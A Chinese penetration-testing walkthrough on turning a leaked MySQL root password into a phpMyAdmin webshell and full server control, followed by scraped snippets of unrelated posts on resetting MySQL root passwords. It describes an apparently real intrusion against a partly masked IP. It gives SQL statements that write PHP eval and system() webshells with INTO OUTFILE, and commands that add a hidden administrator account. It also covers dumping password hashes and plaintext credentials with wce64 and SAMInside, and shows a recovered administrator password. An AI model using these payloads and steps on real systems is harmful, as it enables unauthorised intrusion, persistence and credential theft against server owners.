PhpMyadmin利用Mysql root密码获取webshell

Simeon

Phpmyadmin是一款著名的mysql在线管理系统,通过提供的mysql数据库用户账号和密码对所管理的数据库实施操作。在渗透过程中,一旦获取其mysql账号和对应的密码,轻者获取其账号所管理数据库,重者可以配合其它漏洞获取webshell权限和系统权限。Root账号及口令可以通过暴力破解,源代码泄露等途径获取,本文主要就其root账号获取以及phpmyadmin的利用、如何导出webshell等进行探讨。

Mysql root账号及密码在phpmyadmin中的利用思路主要有以下几个方面:

(1)获取所有数据库中敏感表中的内容。例如涉及系统配置的表,涉及CMS管理的各种管理员表以及用户账号的表。通过这些表获取管理员账号和密码,各种配置信息。

(2)获取网站的真实物理路径。网站的真实物理路径主要用来导出webshell,其方法主要有程序报错、phpinfo函数、程序配置表等。

(3)通过查询语句直接将一句话后门导入到网站目录或者phpmyadmin所在目录。

(4)获取webshell后,如果是windows系统则可以尝试进行提权。

(5)有些网站可能前期被渗透过,网站可能有webshell,特别是一句话后门,如果有后门则可以通过一句话后门暴力破解获取。

(6)无法获取网站的真实路径情况下,则意味着无法直接导出一句话webshell,可以通过CMS系统管理账号登录系统后,寻找漏洞来突破,例如dedecms则可以通过破解管理员账号后直接上传文件来获取webshell。

(7)如果目标不仅仅是一个网站,则可以通过分析获取的密码信息对相邻或者已知目标系统进行渗透利用,例如扫描SSH口令、Mysql口令等。

(8)很多提供phpmyadmin的网站往往会存在目录泄露和代码泄露等漏洞,通过泄露的代码来获取数据库口令,审计泄露代码获取漏洞并利用。

(9)phpmyadmin某些版本存在远程执行以及包含等漏洞,可以通过这些漏洞直接获取webshell。

下面是一个实际利用的实例。

1.对IP所在端口进行全端口扫描

在Nmap中输入IP地址,选择“Intense scan,all Tcp port”,扫描结果显示该IP开放了135、1026、3306、3389、80等端口,详细端口开放情况如图1所示,在实际渗透过程中可以在浏览器中对逐个端口进行一一访问,当然一些比较明显的端口就不用测试了。有些服务器为了提供多个服务,有时候会开放多个端口,端口越多意味着可以利用的漏洞也就越多。

图1端口开放情况

2.对IP地址进行域名反查

将该IP在域名反查网站中进行查询,如图2所示,显示该IP存在3个网站。

图2域名反查

3.对网站IP进行访问

在浏览器中直接输入该IP进行访问,发下该IP下存在phpmyadmin目录、源代码、数据库备份文件等,如图3所示。其中可下载文件列表:

http://182.xx.xxx.16/mxsy_newzs.sql

http://182.xx.xxx.16/szcmsw.sql

http://182.xx.xxx.16/szcmsw11.sql

http://182.xx.xxx.16/hs.zip

http://182.xx.xxx.16/Z-BlogPHP_1_4_Deeplue_150101.zip

图3 服务器所在IP存在目录泄露等漏洞

4.获取数据库口令

分别下载网站泄露的压缩文件和数据库文件,下载文件后将压缩文件进行解压,然后寻找数据库配置文件。解压hs.zip后,在其data目录下的common.inc.php文件中获取了其数据库配置,如图4所示,但很明显该密码不是真正的数据库密码,应该是某一个cms的源代码程序包。继续对每一个泄露的目录进行访问,发现szcms1目录下还存rar文件,http://182.xx.xxx.16/szcms1/szcms.rar和http://182.xx.xxx.16/szcms1/szcms1.rar如图5所示。将其下载后进行解压缩,成功找到数据库配置文件。

图4获取数据库配置文件内容

图5再次发现泄露源代码压缩文件

5.登录phpmyadmin

使用在前面szcms1.rar中获取的root账号密码进行登录,如图6所示成功登录,可以看到该mysql数据库中共有7个有用的数据库。可以选择数据库,然后选择“导出”,将指定数据库导出到本地(传说中的脱裤,尽量别干!)。

图6登录phpmyadmin

6.导出一句话后门到服务器

目前导出一句话后门的方法有以下几种:

(1)创建表方式

CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOTNULL );

INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES(‘<?php @eval($_POST[pass]);?>‘);

SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE‘d:/www/exehack.php‘;

DROP TABLE IF EXISTS `darkmoon`;

上面代码是在mysql数据库中创建darkmoon表,然后加入一个名字为darkmoon1的字段,并在darkmoon1的字段中插入一句话代码,然后从darkmoon1字段里面导出一句话到网站的真实路径“C:/WWW/szcms1/szcms/Public/”,最后就是删除darkmoon这个表。

注意:在使用以上代码时必须选择mysql数据库,并在phpMyAdmin中选择SQL,然后执行以上代码即可。需要修改的地方是网站的真实路径和文件名称“C:/WWW/szcms1/szcms/Public/ exehack.php”

(2)直接导出一句话后门文件

select ‘<[email protected]($_POST[pass]);?>‘INTO OUTFILE ‘d:/www/p.php‘

如果显示结果类似“您的 SQL 语句已成功运行 ( 查询花费 0.0006 秒 )”表明后门文件生成成功。

(3)直接执行命令权限的shell

select ‘<?php echo\‘<pre>\‘;system($_GET[\‘cmd\‘]); echo \‘</pre>\‘; ?>‘ INTOOUTFILE ‘d:/www/cmd.php‘

该方法导出成功后可以直接执行DOS命令,使用方法:www.xxx.com/cmd.php?cmd=(cmd=后面直接执行dos命令)。

在本例中执行导出脚本语句后,网站给挂了,访问不了服务器这比较郁闷,尝试通过mysql数据库客户端连接工具“Navicat for MySQL”,新建一个连接,将ip地址等信息全部输入“Navicat for MySQL”中,成功连接,如图7说是。运气真好!

图7使用Navicat forMySQL连接mysql数据库

通过访问http://182.xx.xxx.16/szcms1/szcms/Public/Home/images/micro_r4_c2.png来获取网站的真实物理路径C:\WWW\szcms1\szcms\Tp\,如图8所示。

图8获取真实路径

然后在mysql数据库中分别执行:

CREATE TABLE`mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL );

INSERT INTO`mysql`.`darkmoon` (`darkmoon1` ) VALUES (‘<[email protected]($_POST[pass]);?>‘);

SELECT`darkmoon1` FROM `darkmoon` INTO OUTFILE ‘C:/WWW/szcms1/szcms/Public/exehack.php‘;

DROP TABLE IFEXISTS `darkmoon`;

对导出的webshell在网站进行访问测试,如图9所示,如果没有显示错误,则表示可以运行,在中国菜刀一句话后门管理中添加该地址直接获取webshell,如图10所示。

图9通过目录泄露漏洞查看文件是否导出成功

图10获取webshell

9.服务器提权

(1)wce直接获取明文密码失败

通过中国菜刀队远程终端命令,直接在其中执行命令,执行whoami命令显示为系统权限,上传wce64.exe并执行“wce64 -w”获取当前登录明文密码,如图11所示,结果未能获取密码,直接获取明文密码失败。

图11执行命令

(2)直接添加管理员

在前面的端口扫描中显示该服务器开启了3389端口,既然webshell可以执行命令,直接执行“netuser temp temp2005 /add”和“ net localgroup administrators temp /add”命令添加一个管理员用户temp,密码为temp2005,如图12所示成功添加temp用户到管理员组中。

图12添加temp用户到管理员组

(3)登录3389

在本地打开mstsc.exe直接输入用户名和密码进行登录,如图13所示成功登录该服务器。

图13成功登录该服务器

(4)获取管理员密码hash和明文

登录服务器后,通过浏览器下载一个saminside程序,如图14所示,直接获取系统的hash值。将该哈希值导出到本地,通过ophcrack程序进行破解。

图14获取系统hash值

然后再次上传一个wce64修改版本,免输入一键获取密码,如图15所示,成功获取adminstrator的密码“123321abc*”。

图15获取系统管理员密码

11.总结与讨论

系统一个小小的失误,再加上一些偶然的因素,就导致一个系统被渗透,并获取了服务器权限,windows下apache+mysql+php架构如果权限设置不当,绝大部分都是system权限,在获取webshell的情况下99%都可以获取system权限。在本文中对网站开放phpmyadmin的情况下获取webshell的思路、导出webshell的方法等进行探讨。

时间: 2024-10-11 12:35:25

PhpMyadmin利用Mysql root密码获取webshell的相关文章

忘记mysql root 密码修改小技巧

首先我说一下我的情况,我并不是忘记了我的root密码,只不过是我在使用phpmyadmin的时候更改密码的时候选择了如图1 的这个方法将密码加密并更改了,然后就再次登录的时候登录不上,所以对于菜鸟级的用户学习mysql来说我推荐我的这个方法. 网上搜索相关的帖子的整体思路都是关闭mysql的进程然后跳过权限设置最后重新设定密码,不过我不是很清楚是不是mysql新版本的问题,mysql根目录/bin下没有mysqld-nt.exe导致很多帖子的相关命令都失效,对于菜鸟又不知道该对应哪些地方才行.于

用phpMyAdmin修改mysql数据库密码

1初始数据库密码为空.用phpMyAdmin修改mysql数据库密码2第一步,点击phpMyAdmin里的用户选项.用phpMyAdmin修改mysql数据库密码3选择root localhost用户名,点击编辑权限.用phpMyAdmin修改mysql数据库密码4此时会出来修改权限的页面,里面可以设置的选项还是比较多的,暂时不管其他的,往下拖,会有一个修改密码的区域.用phpMyAdmin修改mysql数据库密码5输入两次新的密码,下面有个生成按钮,这是根据你当前设置的密码加密之后生成新的密码

MySQL root密码找回

以MySQL多实例为例,演示找回MySQL root的密码 1.关闭mysql服务 [[email protected] ~]# mysqladmin -uroot -poldboy123 -S /data/3306/mysql.sock shutdown ==>通过mysqladmin shutdown优雅关闭mysql服务. [[email protected] ~]# lsof -i:3306 2.使用--skip-grant-tables参数后台启动mysql,忽略授权验证直接登录 [[

mysql root密码忘记重置

1.修改/etc/my.cnf文件 找到mysqld选项,增加子项skip-grant-tables 2.重新启动mysql服务 service mysqld restart 3.进入mysql 在shell中执行mysql -u root 4.设置root新密码 update mysql.user set password=password('newpassword') where user='root'; flush privileges; 5.删除步骤1中进行的操作. 6.再次执行步骤2.

使用SKIP-GRANT-TABLES 解决 MYSQL ROOT密码丢失(转)

B.5.3.2 How to Reset the Root Password If you have never assigned a root password for MySQL, the server does not require a password at all for connecting as root. However, this is insecure. For instructions on assigning passwords, see Section 2.18.4,

[MySQL]如何修改mysql root密码

如何修改mysql root密码忘记MySQL ROOT密码是在MySQ使用中很常见的问题,可是有很多朋友并不会重置ROOT密码,那叫苦啊,特写此文章与大家交流: 1.编辑MySQL的配置文件:my.ini一般在MySQL安装目录下有my.ini即MySQL的配置文件.在此配置文件的最后添加如下一行:skip-grant-tables保存退出编辑. 2.然后重启MySQL服务在命令行下执行:net stop MySQLnet start MySQL 3.设置新的ROOT密码然后再在命令行下执行:

修改mysql root密码

mysql密码丢失后,在mysql命令行下执行如下命令,即可将root用户密码清空: mysqld_safe --skip-grant-tables&mysql修改密码 mysql修改,可在mysql命令行执行如下: mysql -u root mysql mysql> UPDATE user SET password=PASSWORD("new password") WHERE user='root'; mysql> FLUSH PRIVILEGES; mysql

如何设置mysql root密码

如何设置mysql root密码: 1.首次安装 root初始密码为空,注意就是没有密码,直接敲回车即可进入 D:\wamp\bin\mysql\mysql5.6.17\bin>mysql -uroot -p Enter password:  [直接回车] Welcome to the MySQL monitor.  Commands end with ; or \g. Your MySQL connection id is 7 Server version: 5.6.17 MySQL Comm

windows下忘记mysql root密码的解决方法(转)

windows下忘记mysql root密码的解决方法(转) 分类: 数据库 mysql5.5安装目录为 e:\mysql5.5 问题:开发机器上的mysql root 密码忘记鸟! 通过一番搜索,解决问题步骤下: 1.dos命令行窗口 进入e:\mysql5.5\bin ,停止mysql 服务 e:\mysql5.5\bin>net stop mysql 注意:看看那任务管理器中是否有mysqld.exe进程,如有,kill them all. 2. 以不检查权限的方式启动mysql e:\m